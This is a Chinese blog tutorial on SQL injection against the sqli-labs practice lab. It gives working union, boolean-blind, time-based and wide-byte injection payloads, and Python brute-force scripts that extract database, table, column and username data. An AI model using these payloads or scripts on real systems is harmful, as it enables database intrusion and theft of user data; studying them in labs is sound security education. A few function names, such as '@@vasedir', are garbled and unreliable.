mysql数据库基本操作语句可在以下博客学习。
https://blog.csdn.net/leiurse/article/details/106677106

SQL注入常用函数

mid()函数

SELECT MID(ColumnName, Start [, Length])
从指定字段中提取出字段的内容
column_name:字段名
start:开始位置
length:长度
示例:SELECT MID(NAME,1,2) FROM test;

limit()函数

SELECT * FROM TABLE LIMIT M,N
返回结果中的前几条数据或者中间的数据
m是指从m位开始(第一位为0)
n是指取n条
示例:SELECT * FROM test LIMIT 1,2;

concat()函数

concat(str1,str2,str3,....)
concat()函数可以连接一个或者多个字符串
返回结果为连接参数产生的字符串,但是如果其中一个参数为NULL ,则返回值为 NULL。
示例:select concat('aa','bb','cc');

当有值为空时:

group_concat()函数

group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
分组拼接函数
示例:select group_concat(name) from test;

Count() 函数

COUNT(column_name)
返回指定列的值的数目(NULL 不计入)
示例:select count(name) from test;

rand()函数

产生一个0~1的随机数
示例:select rand();

floor()函数

向下取整
示例:select floor(1.2);

Substr()函数

substr(a,b,c)
截取字符串
a 所要截取字符串
b 截取的位置
c 截取的长度
示例:select substr('abcdefg',2,3);

Ascii()函数

将字符串的第一个字符转换成ASCII码的形式
示例:select ascii('abcd');

Left()函数

left(string,num)
得到字符串最左边指定个数的字符

ORD()函数

返回第一个字符的ASCII码
示例:SELECT ORD('asdf');

常用系统函数:

user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
@@vasedir:mysql安装路径
@@version_compile_os:操作系统

SQL注入原理:

SQL注入实质上是将用户传入的参数没有进行严格的处理拼接sql语句的执行字符串中。
可能存在注入的地方有:登陆页面,搜索,获取HTTP头的信息(client-ip , x-forward-of),订单处理(二次注入)等
注入的参数类型:POST, GET, COOKIES, SERVER 其实只要值传到数据库的执行语句那么就可能存在sql注入。
注入方法:union注入,时间盲注,布尔盲注,宽字节注入,DNSlog盲注,报错注入,堆叠注入,flase注入。

union注入

union注入,就是通过unio函数将sql语句拼接,从而达到执行恶意sql语句的目的;
注入的流程为:
1.首先判断是否存在注入点及注入的类型。
2.使用ORDER BY 查询列数。
3.观察回显的位置。
4.获取数据库名。
5.获取数据库中的所有表名。
6.获取数据库的表中的所有字段名
7.获取字段中的数据
union注入的一些知识点:
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。(请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。)
ORDER BY 语句用于对结果集进行排序。
SQL中的information_scheme数据库:
默认生成的数据库,该数据库保存了SQL所的所有数据库的信息。
以sqli-labs为例。

1.首先判断是否存在注入点及注入的类型。

首先在怀疑可能有注入的地方输入单引号('),判断其为数字型还是字符型。
输入单引号报错,加上注释没有报错,这时已经将后边的注释了,单引号闭合成功,说明这是字符型注入。
?id=1'--+

2.union有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同的列数,因此我们要对字段数进行判断。

?id=1%27order%20by%203--+

判断列数,一般采用二分法,这样能大大提高效率。
当输入的数不报错后,值加一报错说明这时就是他的列数了;
列如上面,值是3不报错,输入4报错了,说明列数就为3。

3.观察回显的位置。

?id=0%27union%20select%201,2,3--+

这里注意,id的值一定不能有回显,不然会占用回显位置,不能发现可回显的位置。id的值可为0可为负数。

4.获取数据库名。

找到回显位置后,将有回显的位置,换成sql语句开始爆库。
?id=0%27union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+

得到数据库的所有库名。

5.获取数据库中的所有表名。

?id=0'union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

6.获取数据库的表中的所有字段名

?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+

7.获取字段中的数据

?id=0' union select 1,(select group_concat(username) from security.users),3 --+

布尔盲注

布尔盲注是有回显的,但是返回的只有两种信息,正确和错误,所以我们可以用sql语句来对数据库的内容根据回显情况来写脚本进行爆破。
布尔注入常用函数:
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

这些函数咱在前面大多都已经讲过了。
首先判断数据库名字长度:

可以看到,当前数据库的长度为8,当我们令其等与8时就会返回1,也就是等式成立。
这儿就可以写个脚本来进行爆破。
下面我们以sqli-labs第8关为例。
当我们输入id=1时,页面上有You are in...........的字符,当加上引号,这串字符消失,加上注释后,字符再次出现。说明这是字符型注入。
下面我们判断其数据库的长度。
这里可以不用写脚本,可以在浏览器构造好语句后用bp抓包,然后数值爆破就能得到数据库长度。

这里爆破的是长度,所以用数字爆破,增量为一。

这里可以看到数字8的长度不同,所以数据库的长度就是8。
下边写脚本爆破(脚本写的丑,带佬们勿喷)

import requests
a=1
b=''
while a<9:
    for i in range(44,124):
        r = requests.get("http://127.0.0.1/sql/Less-8/?id=1%27%20and%20(ascii(substr(database(),"+str(a)+",1)))="+str(i)+"--+")
        if 'You' in r.text:
            print(chr(i))
            b+=chr(i)
            a+=1
            break
print(b)

下边接着写脚本:
import requests
a = 0
#爆破表的数量
while 1:
    a+=1
    r = requests.get("http://127.0.0.1/sql/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')="+str(a)+"--+")
    if 'You' in r.text:
        tables_sum = a
        print('表的数量:'+str(tables_sum))
        break
#爆破每个表的字长
for i in range(0,tables_sum+1):
    table_name = ''
    for j in range(0,20):
        r1 = requests.get("http://127.0.0.1/sql/Less-8/?id=1' AND (LENGTH((select table_name from information_schema.`TABLES` where table_schema = database() LIMIT "+str(i)+",1))) = "+str(j)+"--+")
        if 'You' in r1.text:
            table_len= j
            break
#爆破表名
    for k in range(0,table_len+1):
        for n in range(44,124):
            r2 = requests.get("http://127.0.0.1/sql/Less-8/?id=1' AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT "+str(i)+",1),"+str(k)+",1)) = "+str(n)+"--+")
            if 'You' in r2.text:
                table_name += chr(n)
                continue
    print('|  '+table_name)
    print('+------------------+')

写好之后就爆出表名,其中的语句跟union是差不多的,只是多了substr函数和limit函数。

下一步是爆列名。

import requests
a = 0
#爆破列的数量
while 1:
    a+=1
    r = requests.get("http://127.0.0.1/sql/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')="+str(a)+"--+")
    if 'You' in r.text:
        columns_sum = a
        print('列的数量:'+str(columns_sum))
        break
#爆破每个表的表长
for i in range(0,columns_sum):
    column_name = ''
    for j in range(0,20):
        r1 = requests.get("http://127.0.0.1/sql/Less-8/?id=1' AND (LENGTH((select column_name from information_schema.columns where table_name = 'users' LIMIT "+str(i)+",1))) = "+str(j)+"--+")
        if 'You' in r1.text:
            column_len= j
            break
#爆破表名
    for k in range(0,column_len+1):
        for n in range(44,124):
            r2 = requests.get("http://127.0.0.1/sql/Less-8/?id=1' AND ASCII(SUBSTR((select column_name FROM information_schema.columns where table_name = 'users' LIMIT "+str(i)+",1),"+str(k)+",1)) = "+str(n)+"--+")
            if 'You' in r2.text:
                column_name += chr(n)
                continue
    print('|  '+column_name)
    print('+------------------+')

下面爆字段内容

import requests
a = 0
#爆字段的数量
while 1:
    a+=1
    r = requests.get("http://127.0.0.1/sql/Less-8/?id=1' and (select count(username) from security.users)="+str(a)+"--+")
    if 'You' in r.text:
        columns_sum = a
        print('列的数量:'+str(columns_sum))
        break
#爆破每个字段的长度
for i in range(0,columns_sum):
    column_name = ''
    for j in range(0,20):
        r1 = requests.get("http://127.0.0.1/sql/Less-8/?id=1' AND (select length(username) from security.users LIMIT "+str(i)+",1) = "+str(j)+"--+")
        if 'You' in r1.text:
            column_len= j
            break
#爆破字段内容
    for k in range(0,column_len+1):
        for n in range(44,124):
            r2 = requests.get("http://127.0.0.1/sql/Less-8/?id=1' AND ASCII(SUBSTR((select username from security.users  LIMIT "+str(i)+",1),"+str(k)+",1)) = "+str(n)+"--+")
            if 'You' in r2.text:
                column_name += chr(n)
                continue
    print('|  '+column_name)
    print('+------------------+')

其实这几个脚本都是一样的,只是换了一下里面的payload,当第一个脚本写好之后,后面的只需要改一下就行。

下面接着来讲一下sql盲注,sql盲注跟布尔盲注其实原理相同,只是在浏览器返回上没有视觉上的显示,需要我们构造SQL语句,当条件成立时通过数据库内的sleep()函数,造成延时,从而判断出数据库内的内容。最近在网上看到了一个延时注入的骚姿势,通过get_lock()函数来形成延时。下次有时间我复现一下吧。

讲一下sql里边的if函数,if(c,a,b),如果c为真执行a,否则执行b。这其实就是一个三元运算。
这儿可以用之前的布尔盲注脚本改一下就可以了,他们的逻辑都是一样的,只是payload和判断方法是判断数据库的延时。

import requests
import time
a=1
b=''
while a<9:
    start_time = time.time()
    for i in range(44,124):
        r = requests.get("http://127.0.0.1/sql/Less-8/?id=1' and if(((ascii(substr(database(),"+str(a)+",1)))="+str(i)+"),sleep(3),0)--+")
        if time.time() - start_time  >= 3:
            print(chr(i))
            b+=chr(i)
            a+=1
            break
print(b)

这是我用上边的脚本进行修改的,就是改了一下payload和判断,就成功的爆出了数后面的也可以用之前的脚本来改。
宽字节注入
开发者为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义,这样被处理后的sql语句中,单引号不再具有原有的作用而是变成了普通的字符。

宽字节注入原理:

GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
知道这个原理之后,后来的步骤就跟union注入一样了,唯一不一样的是,在查表和查库的时候,库名和表名在union注入里边需要用引号包起来,但是在这儿,引号被转义,我们就可以将其转成16进制来绕过。
下边来实际操作一手
以sqli-labs第32关为例
我输入单引号的时候,在返回的内容里发现我的前面单引号给我加上了反斜杠,

当我输入%df%27时页面报错,这是说明在这里%df与斜杠成功组合了逃逸出了单引号。

当我再在后边加上注释符,发现页面又恢复正常了。说明在这儿存在宽字节注入。

后边跟union就差不多了。
查库?id=0%df' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查表,在这注意的是由于引号会被转义,所以在这可以用十六进制表示,也就是table_schematable_schema=0x7365637572697479
?id=0%df'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

查表,这儿的table_name也是同样的道理。
?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

爆字段?id=0%df' union select 1,(select group_concat(username) from security.users),3 --+

先写到这儿吧,后边的后边再写
参考
https://blog.csdn.net/weixin_45146120/article/details/100104131?utm_source=app
https://blog.csdn.net/santtde/article/details/91353689
https://www.w3school.com.cn/sql/sql_union.asp
https://blog.csdn.net/weixin_43803070/article/details/89918772